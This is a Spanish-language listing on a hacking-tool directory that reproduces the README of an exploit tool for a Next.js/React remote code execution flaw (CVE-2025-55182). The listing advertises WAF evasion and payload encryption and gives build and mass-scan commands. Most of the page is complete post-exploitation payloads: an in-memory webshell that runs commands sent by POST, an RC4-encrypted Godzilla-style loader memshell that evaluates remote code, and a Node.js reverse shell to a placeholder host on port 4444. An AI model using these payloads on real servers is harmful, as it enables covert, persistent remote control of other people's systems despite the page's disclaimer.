Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Nextjs_RCE_Exploit_Tool — Exploit para CVE-2025-55182 y CVE-2025-66478 | Kitploit
Herramientas/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Exploit para CVE-2025-55182 y CVE-2025-66478

14136hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Next.js RCE Exploit Tool (CVE-2025-55182)


[!CAUTION] Descargo de responsabilidad / Disclaimer

Esta herramienta está destinada únicamente para investigación de seguridad y fines educativos. El usuario debe asegurarse de tener autorización legal del sistema objetivo antes de realizar pruebas.

Está estrictamente prohibido su uso para pruebas de penetración no autorizadas, ataques maliciosos o cualquier otro propósito ilegal. Todos los riesgos y consecuencias legales derivados de la conciencia y explotación de vulnerabilidades serán asumidos por el usuario y no son responsabilidad del desarrollador de este proyecto.

Si no acepta estos términos, deje de descargar o utilizar esta herramienta inmediatamente.

Esta herramienta se desarrolla basándose en artículos públicos. No se proporcionan versiones binarias compiladas. Por favor, revise el código y compílelo usted mismo.


🙏 Agradecimientos / Credits

La lógica central y las ideas de evasión de esta herramienta se han inspirado profundamente en los investigadores de seguridad de la comunidad. Agradecemos sinceramente a los siguientes maestros:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ Características / Features

  • Soporte de cadenas de explotación:
    • Prototype Chain
    • Array Map Chain
  • Evasión WAF:
    • ✅ Codificación Unicode
    • ✅ Codificación UTF-16LE
  • OpSec:
    • 🔐 Cifrado de Payload AES
  • Caja de herramientas:
    • Ejecución de comandos: Soporta modos síncrono (execSync) y asíncrono (exec).
    • Gestión de archivos: Interfaz similar al explorador de archivos, compatible con navegación, lectura y escritura.
    • Explotación avanzada: Soporta ejecución de código JavaScript nativo, carga de módulos (module._load).

🛠️ Inicio rápido

1. Verificación de vulnerabilidad (Nuclei)

Utilice Nuclei para la identificación masiva de huellas digitales y verificación de vulnerabilidades:

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. Compilación y ejecución

root@kitploit:~
# 整理依赖
go mod tidy

# 编译
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# 运行
./ReactExploit

📸 Capturas de pantalla / Screenshots

1. Codificación

Config & WAF Bypass

2. Ejecución de comandos (RCE)

RCE

3. Gestión de archivos

File Explorer File Read

4. Uso avanzado (Native JS Eval)

JS Eval Module Load

💉 Ejemplos de Payload

En el módulo "Explotación avanzada -> Ejecución de código JavaScript nativo", se pueden utilizar los siguientes payloads para operaciones posteriores a la explotación.

1. Inyección de MemShell

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. Reverse Shell

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // 可根据环境修改为 /bin/bash
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();

Descargar herramienta